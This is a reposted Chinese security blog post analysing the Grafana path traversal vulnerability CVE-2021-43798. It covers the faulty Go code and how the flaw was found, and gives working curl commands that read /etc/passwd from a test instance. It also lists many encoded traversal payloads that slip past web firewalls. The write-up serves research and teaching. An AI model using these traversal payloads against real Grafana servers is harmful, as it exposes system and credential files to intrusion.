声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |
背景介绍:
编号CVE-2021-43798 Grafana 路径遍历漏洞的CVSS 3的评分为7.5,该漏洞于2021年12月被国外一位安全研究员(ID:j0vsec)所发现。
该研究员于 12 月 2 日向 Grafana 报告了此漏洞,Grafana团队立即采取了行动,由于这是该研究员发现的第一个高危漏洞,他异常兴奋,很快发布了一条关于他在 Grafana 中发现路径遍历漏洞的推文,几天后,他收到通知,其他安全研究人员也同样发现了 Grafana 代码中的该漏洞,他们在 GitHub 和 Twitter 上发布了概念验证(POC),这让 Grafana 团队处于了紧张的境地,因此修复程序很快于 12 月 7 日发布,比计划提前了几天。这位研究员不禁感慨,“永远不要低估社交媒体的力量,必须控制自己的兴奋”,另一个吸取的教训则是阅读 Golang 文档的重要性。
本篇文章,会解释本漏洞及这位安全研究员的检测方法。
代码审计:
在审计Grafana源代码期间,这位研究员在Golang中搜索读取文件的典型方法,Golang中使用的函数之一是os.Open。pkg/api/plugins.go文件中的getPluginAssets方法调用os.Open引起了他的注意。
来看一段代码:
// getPluginAssets returns public plugin assets (images, JS, etc.)
//
// /public/plugins/:pluginId/*
func (hs *HTTPServer) getPluginAssets(c *models.ReqContext) {
pluginID := web.Params(c.Req)[":pluginId"]
plugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID)
if !exists {
c.JsonApiErr(404, "Plugin not found", nil)
return
}
requestedFile := filepath.Clean(web.Params(c.Req)["*"])
pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)
if !plugin.IncludedInSignature(requestedFile) {
hs.log.Warn("Access to requested plugin file will be forbidden in upcoming Grafana versions as the file "+
"is not included in the plugin signature", "file", requestedFile)
}
// It's safe to ignore gosec warning G304 since we already clean the requested file path and subsequently
// use this with a prefix of the plugin's directory, which is set during plugin loading
// nolint:gosec
f, err := os.Open(pluginFilePath)
if err != nil {
if os.IsNotExist(err) {
c.JsonApiErr(404, "Plugin file not found", err)
return
}
c.JsonApiErr(500, "Could not open plugin file", err)
return
}
可以看到,
在pluginFilePath中打开了文件,文件内容在/public/plugins/<pluginID>/<path>调用的HTTP响应中结束,而pluginFilePath创建方式如下:
requestedFile := filepath.Clean(web.Params(c.Req)["*"])
pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)
它从URL中获取路径,然后将其传递给filepath.Clean,并将其与插件目录config连接起来。
这研究员快速创建了一个Golang脚本进行尝试:
func main() {
pluginDir := "/usr/share/grafana/public/app/plugins/datasource/mysql/"
pathValue := "..///..///..///..///..///..///..///..///etc/passwd"
requestedFile := filepath.Clean(pathValue)
pluginFilePath := filepath.Join(pluginDir, requestedFile)
fmt.Println(pluginFilePath)
}
该脚本的输出结果是:
/etc/passwd
这意味着传递给os.Open文件路径,而将pathValue更改为/../../etc/passwd后,结果表明该路径被正确的处理。
Golang文件中的相关说明:
func Clean(path string) string
Clean returns the shortest path name equivalent to path by purely lexical processing. It applies the following rules iteratively until no further processing can be done:
1. Replace multiple Separator elements with a single one.
2. Eliminate each . path name element (the current directory).
3. Eliminate each inner .. path name element (the parent directory)
along with the non-.. element that precedes it.
4. Eliminate .. elements that begin a rooted path:
that is, replace "/.." by "/" at the beginning of a path,
assuming Separator is '/'.
如果路径不以斜杠开头,则不会被清理,URL中的pluginId是动态的,但是Grafana附带了相当多的默认插件,所以这里的任何插件ID理论上都是可以正常运行的。
路径遍历测试:
在测试了Golang、Clean和Join函数之后,接下来必须找到一种Grafana中可以利用这一点的方法,于是这位安全研究员启动了一个Docker(Grafana的版本为8.2.6),他在位于/usr/share/grafana的路径中找到了VERSION文件。
使用curl命令进行测试:
$ curl --path-as-is http://localhost:3000/public/plugins/mysql/../../VERSION
在Grafana的输出日志,出现了以下错误:
open /usr/share/grafana/public/app/plugins/VERSION: no such file or directory
根据日志提示,成功遍历了两个目录层级,但是要访问版本文件,还需要再添加三个层级:
$ curl --path-as-is http://localhost:3000/public/plugins/mysql/../../../../../VERSION
8.2.6
成功!如果添加5个层级的路径遍历,就会进入到/usr/share/grafana目录,这也意味着再增加3个层级就可以成功进入文件系统根目录:
$ curl --path-as-is http://localhost:3000/public/plugins/mysql/../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...
Fuzzing
很多防火墙或WAF会阻断../路径的遍历,因此这位安全研究员也尝试了许多不同的绕过方案,他使用了 traversals-8-deep-exotic-encoding.txt 字典,关于这个fuzz字典,各位可参看我之前的一篇推送:Payload在手,天下我有
$ ffuf -u http://localhost:3000/public/plugins/mysqlFUZZ -w ~/Downloads/traversals_version -mc 200
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fVERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/..%2f..%2f..%2f..%2f..%2fVERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/..%2f..%2f..%2f..%2f..%2fVERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fVERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/..%2f..%2f..%2f..%2f..%2fVERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fVERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/........................................................................../../../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/..//..//..//..//..//VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/..///..///..///..///..///VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/./.././.././.././.././../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/.//..//.//..//.//..//.//..//.//..//VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/../..//../..//../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/../..//../..//..///VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
:: Progress: [887/887] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 112 ::
可以看到有很多绕过的方法可以获得有效的遍历。
其它Grafana版本是否受影响?
在深入研究pkg/api/plugins.go文件的Git历史之后,这位研究员发现导致此漏洞的代码并不总是代码库的这一部分,它是在2021年4月才引入的,作为一些重构的一部分,包含这个新代码的Grafana的第一个版本是v8.0.0-beta1,因此只有grafana v8.*.*会受到该漏洞的攻击。
通过下载Grafana v7的源代码进行比较:
for _, route := range plugins.StaticRoutes {
pluginRoute := path.Join("/public/plugins/", route.PluginId)
hs.log.Debug("Plugins: Adding route", "route", pluginRoute, "dir", route.Directory)
hs.mapStatic(m, route.Directory, "", pluginRoute)
}
hs.mapStatic(m, setting.StaticRootPath, "build", "public/build")
hs.mapStatic(m, setting.StaticRootPath, "", "public")
hs.mapStatic(m, setting.StaticRootPath, "robots.txt", "robots.txt")
mapStatic方法添加了一个Static中间件,并且在最后使用了staticHandler函数。
func staticHandler(ctx *macaron.Context, log *log.Logger, opt StaticOptions) bool {
if ctx.Req.Method != "GET" && ctx.Req.Method != "HEAD" {
return false
}
file := ctx.Req.URL.Path
// if we have a prefix, filter requests by stripping the prefix
if opt.Prefix != "" {
if !strings.HasPrefix(file, opt.Prefix) {
return false
}
file = file[len(opt.Prefix):]
if file != "" && file[0] != '/' {
return false
}
}
f, err := opt.FileSystem.Open(file)
// ...
所以事实证明,file传递给的opt.FileSystem.Open也是直接从 URL 中检索的,但是使用上面的代码,Grafana 为何不会受到路径遍历的影响,经过一番深入挖掘,结果是FileSystem.Open使用对象中的GolangOpen函数http.Dir而不是使用os库。该Open方法在http.Dir看起来如下:
func (d Dir) Open(name string) (File, error) {
if filepath.Separator != '/' && strings.ContainsRune(name, filepath.Separator) {
return nil, errors.New("http: invalid character in file path")
}
dir := string(d)
if dir == "" {
dir = "."
}
fullName := filepath.Join(dir, filepath.FromSlash(path.Clean("/"+name)))
f, err := os.Open(fullName)
if err != nil {
return nil, mapDirOpenError(err, fullName)
}
return f, nil
}
有趣的部分在:
fullName := filepath.Join(dir, filepath.FromSlash(path.Clean("/"+name)))
所以在 Go 的内部库中,它静态地传递给path.Clean
,正如之前所测试的那样,这将会正确地从文件路径中去除路径遍历。
感谢阅读,读者可通过下方“阅读原文”跳转至原文网站查看。
====正文结束====
原文始发于微信公众号(骨哥说事):【高危】CVE-2021-43798 GRAFANA 路径遍历漏洞